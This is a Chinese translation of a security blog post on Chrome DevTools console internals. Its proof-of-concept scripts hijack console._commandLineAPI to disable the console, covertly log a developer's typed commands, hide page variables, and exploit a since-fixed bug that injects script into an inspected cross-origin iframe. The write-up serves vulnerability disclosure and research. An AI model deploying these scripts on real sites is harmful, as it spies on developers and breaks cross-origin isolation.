原文鏈接:http://www.hydrantlabs.org/Security/Google/Chrome/
故事起源于 Chromium 源碼里名為 InjectedScriptSource.js 的文件,這個文件負責控制臺中的命令執行。也許很多人都會這么說:
【Wait!為什么是 JavaScript 在負責命令執行,Chromium/Chrome 不是用 C++編寫的么?】
沒錯.Chromium/Chrome 的絕大部分確實不是用 javascript 編寫的,但是 devtools 實際上都是一些網頁。作為簡單的證明,你可以嘗試在瀏覽器里訪問下面的 URL,可以看到它和console 擁有完全相同的構造。
chrome-devtools://devtools/bundled/devtools.html
好吧,我承認開始有點跑題了。讓我們回到原來的問題。在文件InjectedScriptSource.js的624行左右,在名為_evaluateOn的函數里,我們可以看到這樣的一段代碼:
#!javascript
prefix = "with ((console && console._commandLineAPI) || { __proto__: null }) {";
suffix = "}";
// *snip*
expression = prefix + "\n" + expression + "\n" + suffix;
這是個相當重要的函數,因為一些特殊的函數,比如:copy('String to Clip Board') 和 clear()都被加到了這里。然而這些函數都是類CommandLineAPI的成員。
一切都將從這里變得有趣。因為我有個想法,可以把ECMAScript 5里的Getters和Setters 利用起來。因為開發者工具總是會在用戶輸入命令時試圖給用戶一些命令補全的建議。通過開發者工具的這個特點,我們就可以使用Getters和Setters來構造一個函數,實現在用戶輸入命令的過程當中就去執行用戶的輸入。這意味著在用戶按下Enter之前命令就已經被執行了。
#!javascript
Object.defineProperty(console, '_commandLineAPI', {
get: function () {
console.log('A command was run');
}
});
這里使用的思路和 FaceBook 是差不多的。
#!javascript
Object.defineProperty(console, '_commandLineAPI', {
get: function () {
throw 'Console Disabled';
}
});
如同你看到的,我們只要在_commandLineAPI 被檢索時,拋出異常就可以簡單的禁用控制臺的命令執行。
在開始講解更為有趣的內容之前,我覺得我們有必要先停一下腳步,再來談談JavaScript的話題。讓我們先來看看下面的例子:
#!javascript
function argCounter() {
console.log('This function was run with ' + arguments.length + ' arguments.');
}
argCounter(); // 0
argCounter('Hello', 'World') // 2
argCounter(1, 2, 4, 8, 16, 32, 64)
就如大家知道的,這里的arguments實際上并不是一個數組,而是一個對象。這也是為什么很多人會用下面的方法來將對象轉換為傳統的數組:
#!javascript
var args = Array.prototype.slice.call(arguments)
? 其中的一個原因是,object有一些保留字段,比如:callee。在這里我們可以給出一個示例:
#!javascript
// Traverse an object looking for the 'World' key value
var traverse = function(obj) {
// Loop each key
for (var index in obj) {
// If another object
if (typeof obj[index] === 'object') {
// Recursion yay!
arguments.callee(obj[index]);
}
// If matching
if (index === 'World') {
console.log('Found world: ' + obj[index]);
}
}
};
// Call traverse on our object
traverse({
'Nested': {
'Hello': {
'World': 'Earth'
}
}
});
我想這方面的內容應該是比較罕見的。但是說到罕見,可能對arguments.callee.caller有所理解的人,相對來說會更少一些吧。它允許腳本引用調用它的函數。可以說它的實際效用并不大,但我還是嘗試著寫了一個例子:
#!javascript
// Print the ID of the caller of this function
function call_Jim() {
// Get the calling function name without the call_Jim_as part
return 'Hi ' + arguments.callee.caller.name.substring('call_Jim_as_'.length) + '!';
}
// Call Jim as John
function call_Jim_as_John() {
return call_Jim();
}
// Call Jim as Luke
function call_Jim_as_Luke() {
return call_Jim();
}
// Test cases
call_Jim_as_John(); // 'Hi John!'
call_Jim_as_Luke(); // 'Hi Luke!'
我們的第二個漏洞將會使用之前提到的arguments.callee.caller。當一個沒有父函數的函數在standard context 中被執行時,arguments.callee.calle就會變成null。在這里有一個有趣的現象。當腳本在開發者工具的console里執行的時候,調用的函數是在本文開頭說的_evaluate0n函數而并未是所期待的null。如果我們嘗試著在控制臺輸入下面的命令,控制臺就會dump出_evaluateOn函數的源代碼:
#!javascript
(function () {
return arguments.callee.caller;
})();
也許你會說: 這看上去是挺嚴重的,但是這和第一個漏洞有什么關系?先不說有什么關系,就算會把源碼dump出來又怎樣呢? 現在就讓我們把它和第一個漏洞關聯起來。設想一下如果用戶試圖把下面的代碼粘貼到console里會發生什么?
#!javascript
Object.defineProperty(console, '_commandLineAPI', {
get: function () {
console.log(arguments.callee.caller);
}
});
就如同你所看到的,這段代碼意味著只要用戶試圖在控制臺中進行任何的輸入,就會把devtools的源代碼dump出來。問題又來了,也許你會問:
那又如何?我完全可以去官網在線閱讀這些源碼!
我想問題的重點在arguments.callee.caller.arguments.這意味著?對!這意味著我們的一些邪惡的代碼(來自一些不被信任的站點)可以訪問開發者工具的一些變量和對象,在編寫這個exploit之前我們先看一下,我們可以通過一個簡單的頁面都可以干一些什么:
#!javascript
<script>
Object.defineProperty(console, '_commandLineAPI', {
get: function () {
console.log(arguments.callee.caller.arguments[2]);
}
});
</script>
現在讓我們試著執行alert(1),并觀察結果:
0: function evaluate() { [native code] }
1: InjectedScriptHost
2: "console"
3: "with ((console && console._commandLineAPI) || {}) {?alert(1)?}"
4: false
5: true
看一下第二個參數(InjectedScriptHost)。你可以通過這個鏈接來閱讀更多的細節InjectedScriptExterns.js。把精力集中在其中幾個重要的函數當中。
clearConsoleMessages?- 清空控制臺并刪除回溯
InjectedScriptHost.clearConsoleMessages();
functionDetails?- 返回函數的相關細節
// Create a function with a bound this
InjectedScriptHost.functionDetails(func);
inspect?- 檢查DOM對象,不會切換到inspect tab
// Inspect the body node
InjectedScriptHost.inspect(document.body);
inspectedObject?- 從DOM對象檢查歷史中取回對象
// Get the first inspected object
InjectedScriptHost.inspectedObject(0);
現在讓我們試著寫一個更完善的控制臺訪問禁用腳本出來。這次我不希望再看到那些讓人惡心的紅色錯誤提示了。讓我們從“當用戶在控制臺輸入命令時會發生一些什么”開始吧。函數_evaluateOn會通過一些參數:
#!javascript
evalFunction: function evaluate() { [native code] }
object: InjectedScriptHost
objectGroup: 'console'
expression: 'alert(1)'
isEvalOnCallFrame: false
injectCommandLineAPI: true
然后執行下面的代碼:
#!javascript
var prefix = "";
var suffix = "";
if (injectCommandLineAPI && inspectedWindow.console) {
inspectedWindow.console._commandLineAPI = new CommandLineAPI(this._commandLineAPIImpl, isEvalOnCallFrame ? object : null);
prefix = "with ((console && console._commandLineAPI) || { __proto__: null }) {";
suffix = "}";
}
if (prefix)
expression = prefix + "\n" + expression + "\n" + suffix;
var result = evalFunction.call(object, expression);
查看一下evalFunction我們會發現它只是InjectedScriptHost.evaluate。這樣一來,我們似乎是沒有辦法來完成這個任務了。wait!也許我們可以增加一個setter.用下面的代碼我們就可以達到在不報錯的情況下實現控制臺命令執行的禁用了。
#!javascript
// First run
var run = false;
// On console command run
Object.defineProperty(console, '_commandLineAPI', {
get: function () {
// Only run once
if (!run) {
run = true;
// Get the InjectedScriptHost
var InjectedScriptHost = arguments.callee.caller.arguments[1];
// On evaluate
Object.defineProperty(InjectedScriptHost, 'evaluate', {
get: function () {
// Return a alternate evaluate function
return function() {
return "The console has been disabled";
}
}
});
}
}
});
我想你大概猜到之前搞了那么多,并不只是為了編寫一個不會報錯的腳本。讓我們來找一些樂子。讓我們編寫一個可以讓命令和預期一樣正常執行并能記錄所有的命令和執行結果的腳本。這里是我的POC:
#!javascript
// First run
var run = false;
// Save the command line api
var _commandLineAPI = null;
// On console command run
Object.defineProperty(console, '_commandLineAPI', {
get: function () {
// Only run once
if (!run) {
run = true;
// Get the InjectedScriptHost
var InjectedScriptHost = arguments.callee.caller.arguments[1];
// On evaluate
Object.defineProperty(InjectedScriptHost, 'evaluate', {
get: function () {
// Return a alternate evaluate function
return function(command) {
// Get the commands split
var commands = command.split("\n");
// Execute the real evaluate function
var result = InjectedScriptHost.__proto__.evaluate.apply(this, arguments);
// Ignore suggustion executions for now
if (commands.length <= 1 || (result && result.name === 'getCompletions')) {
return result;
}
// Remove the first "with..." and last "}" lines
command = commands.slice(1, -1).join("\n");
// Next step to ignore suggustion checks
if (command.trim() === 'this') {
return result;
}
// Log the command and result (tries to lazily parse to a string for now)
document.write("Attempted Command:<br /><pre>" + command + "</pre>");
document.write("Command Result:<br /><pre>" + result + "</pre><hr />");
// Return the result
return result;
}
}
});
}
// Return the actual command line api
return _commandLineAPI;
},
set: function(value) {
// Copy the value
_commandLineAPI = value;
}
});
記錄控制臺命令確實挺有趣的。但是讓我們看看能不能不通過查看源代碼的方式來訪問變量(這個方法還并不完美,但是可以讓你理解我們可以做到一些什么)
#!javascript
// Add our secret key and value
window.secret = 'Top secret key here';
// First run
var run = false;
// Save the command line api
var _commandLineAPI = null;
// On console command run
Object.defineProperty(console, '_commandLineAPI', {
get: function () {
// Only run once
if (!run) {
run = true;
// Get the InjectedScriptHost
var InjectedScriptHost = arguments.callee.caller.arguments[1];
// On evaluate
Object.defineProperty(InjectedScriptHost, 'evaluate', {
get: function () {
// Return a alternate evaluate function
return function(command) {
// Execute the real evaluate function
var result = InjectedScriptHost.__proto__.evaluate.apply(this, arguments);
// When the command was a attempt to access the completions
if (result && result.name === 'getCompletions') {
// Return a new completions function
return function() {
// Get the completions
var completions = result.apply(this, arguments);
// Remove the secret completion
delete completions.secret;
// Return the modified values
return completions;
}
}
// If the result is our secret value
if (result === window.secret) {
return undefined;
}
// Return the result
return result;
}
}
});
}
// Return the actual command line api
return _commandLineAPI;
},
set: function(value) {
// Copy the value
_commandLineAPI = value;
}
});
現在讓我們來討論一下這個已經被修復的漏洞。這個漏洞可以在一些用戶交互的基礎上將惡意站點的A內的腳本或頁面植入到站點B當中。它的工作原理很簡單。當用戶審查元素時,它會被加入到歷史數組里。用戶可以通過console.$0來訪問它。但是遺憾的是,如果它已經通過別的域名被執行,我們就無法訪問它。如果想要真正的利用這個exploit,我們至少需要用戶右鍵點擊這個iframe,打開控制臺并輸入命令。
我想會有很多社工性質的方法可以讓我們去引導用戶去完成這一系列的操作。當然我個人認為最有效的方法就是什么都不要去做,而是等待開發者自己攻擊自己。我也做了一個POC來證明,這一切的可行性。如果完成上述的操作要求來,不出意外alert(document.domain)應該會被執行。
#!javascript
// On console command run
Object.defineProperty(console, '_commandLineAPI', {
get: function () {
// Save a reference to the InjectedScriptHost globally
window.InjectedScriptHost = arguments.callee.caller.arguments[1];
// Get the injectedScript object
window.injectedScript = InjectedScriptHost.functionDetails(arguments.callee.caller.arguments.callee).rawScopes[0].object.injectedScript;
// Trigger another inspect (not sure why this helps but it does)
injectedScript._inspect(document.getElementById('hacks'));
// Keep checking if an element has been inspected every 10th of a second
var check = function() {
// Hide any errors on the console to keep people unaware
try {
// Get the first inspected object
var el = injectedScript._commandLineAPIImpl._inspectedObject(1);
// Loop until no more parents
while (el.parentNode) { el = el.parentNode; }
// If the element is not the current page
if (el.URL !== window.location.href) {
// Stop checking
clearInterval(check);
// Create the script element
var script = document.createElement('script');
script.type = 'text/javascript';
script.innerHTML = "alert(document.domain)";
// Add the script to the frame
el.getElementsByTagName('head')[0].appendChild(script);
}
} catch (e) {}
};
// Return the orginal evaluate function
return InjectedScriptHost.__proto__.evaluate;
}
});
就如我之前說的那樣,[email protected]?個漏洞或者補丁感興趣,可以點擊這里here.
也許你應該留意一下InjectedScriptHost.functionDetails的用法。因為它是很強大的函數。這里是個比較常見的使用例 :
#!javascript
// Add another scope
with ({
'test': true
}) {
var func = function() {}
}
// Log the details
console.log(InjectedScriptHost.functionDetails(func));
上面的命令將會返回如下的結果:
{
location: {
columnNumber: 14,
lineNumber: 4,
scriptId: "1262"
},
name: "func",
rawScopes: [
{
object: {
test: true
},
type: 2
}, {
object: { },
type: 2
}, {
object: [object Window],
type: 3
}
]
}
就如同你看到的它是一支強大的潛力股,尤其是它被應用到一些內部函數時。舉個例子,如果我們把它應用到_evaluateOn函數上,我們將得到如下的結果:
{
inferredName: "InjectedScript._evaluateOn",
location: {
columnNumber: 25,
lineNumber: 591,
scriptId: "1417"
},
rawScopes: [
{
object: {
CommandLineAPI: function CommandLineAPI(commandLineAPIImpl, callFrame)
InjectedScript: function ()
InjectedScriptHost: InjectedScriptHost
Object: function Object() { [native code] }
bind: function bind(func, thisObject, var_args)
injectedScript: InjectedScript
injectedScriptId: 58
inspectedWindow: Window
slice: function slice(array, index)
toString: function toString(obj)
},
type: 3
}, {
object: [object Window],
type: 0
}
]
}
我寫了一個函數,可以幫助我們快速發現和列出一些具有潛在價值的函數(作用域非當前窗口)
#!javascript
// Run via console as `listScopes();`
function listScopes() {
// Total results
var results = 0;
// Ignore these because they are cyclical
var cyclical = [
'window.top',
'window.window',
'window.clientInformation.mimeTypes',
'window.clientInformation.plugins',
'window.console._commandLineAPI.$_',
'func[0].object.inspectedWindow',
'func[1].object'
];
// Element that have been chacked already
var checked = [];
// Save a reference to the InjectedScriptHost globally
var InjectedScriptHost = arguments.callee.caller.arguments[1];
// Get the scope of a function
window.scope = function(func, i) {
return InjectedScriptHost.functionDetails(func).rawScopes[i].object;
}
// Check the scopes of an object
function checkScopes(current_name, obj) {
// Loop each key
for (var index in obj) {
// If the var has not been checked
if (checked.indexOf(obj[index]) === -1) {
checked.push(obj[index]);
var name = current_name;
if (isNaN(index)) {
name = name + '.' + index;
} else {
name = name + '[' + index + ']';
}
// If not cyclical
if (cyclical.indexOf(name) === -1) {
// If an array or object
if (typeof obj[index] === 'object') {
// Yay recursion
checkScopes(name, obj[index]);
}
}
if (typeof obj[index] === 'function') {
// Get the scopes
var scopes = InjectedScriptHost.functionDetails(obj[index]).rawScopes;
// Don't index our scopes function
if (obj[index] !== window.scope) {
// Loop each scope
for (var i in scopes) {
// If it's not a window
if (InjectedScriptHost.internalConstructorName(scopes[i].object) !== 'Window') {
name = 'scope(' + name + ', ' + i + ')';
// Add the path
console.log(name);
results++;
// Recursion again
checkScopes(name, scopes[i].object);
}
}
}
}
}
}
}
// Check all known objects
checkScopes('window', window);
window.args = arguments.callee.caller.arguments;
checkScopes('args', args);
window.func = InjectedScriptHost.functionDetails(arguments.callee.caller).rawScopes;
checkScopes('func', func);
// Return
return "Searching finished, found " + results + " results.";
};
你可以通過?listScopes()?來在控制臺執行它。也許還有一些BUG需要在日后解決。但是我覺得這依然是個不錯的方法。